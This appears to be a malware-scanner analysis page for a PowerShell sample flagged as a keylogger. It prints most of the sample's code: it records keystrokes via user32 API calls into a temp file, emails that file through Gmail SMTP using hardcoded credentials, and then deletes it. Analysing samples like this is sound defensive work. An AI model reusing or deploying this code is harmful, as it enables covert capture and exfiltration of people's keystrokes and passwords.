Hostile 92% powershell Download

a24d447920d2ba60daf9bbabe95e628dd5e4a89ab1b96bfb3a0416b21c7fda29.unknown

Keylogger exfiltrates via email

Detects PowerShell PoshKeyloggerAccesses temp environment variable
SHA-256a24d447920d2ba60daf9bbabe95e628dd5e4a89ab1b96bfb3a0416b21c7fda29

Evidence

Gmail consumer email domain suffix lines 1–28
1# Edit only this section!
2$TimeToRun = 4
3$From = "[email protected]"
4$Pass = "Ratas123!!"
6$Subject = "Party Results"
7$body = "Kellogs Results"
8$SMTPServer = "smtp.gmail.com"
9$SMTPPort = "465"
10$credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
11############################
12
13
14$TimeStart = Get-Date
15$TimeEnd = $timeStart.addminutes($TimeToRun)
16
17#requires -Version 2
18function Start-KeyLogger($Path="$env:temp\keylogger.txt")
19{
20 # Signatures for API Calls
21 $signatures = @'
22[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
23public static extern short GetAsyncKeyState(int virtualKeyCode);
24[DllImport("user32.dll", CharSet=CharSet.Auto)]
25public static extern int GetKeyboardState(byte[] keystate);
26[DllImport("user32.dll", CharSet=CharSet.Auto)]
27public static extern int MapVirtualKey(uint uCode, int uMapType);
28[DllImpo …
PowerShell compiles inline .NET member code lines 29–36
29:129… Buff, uint wFlags);
30'@
31
32 # load signatures and make members available
33 $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
34
35 # create output file
36 $null = New-Item -Path $Path -ItemType File -F …
PowerShell Remove-Item with -Force lines 41–88
41:36… r presses CTRL+C, finally-block
42 # executes and shows the collected key presses
43 while ($TimeEnd -ge $TimeNow) {
44 Start-Sleep -Milliseconds 40
45
46 # scan all ASCII codes above 8
47 for ($ascii = 9; $ascii -le 254; $ascii++) {
48 # get current key state
49 $state = $API::GetAsyncKeyState($ascii)
50
51 # is key pressed?
52 if ($state -eq -32767) {
53 $null = [console]::CapsLock
54
55 # translate scan code to real code
56 $virtualKey = $API::MapVirtualKey($ascii, 3)
57
58 # get keyboard state for virtual keys
59 $kbstate = New-Object Byte[] 256
60 $checkkbstate = $API::GetKeyboardState($kbstate)
61
62 # prepare a StringBuilder to receive input key
⋯6 lines
69 {
70 # add key to logger file
71 [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
72 }
73 }
⋯5 lines
79 {
80 # open logger file in Notepad
81 send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl
82 Remove-Item -Path $Path -force
83 exit 1
84 }
85}
86
87# records all key presses until script is aborted by pressing CTRL+C
88# will then open the file with collected key codes

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.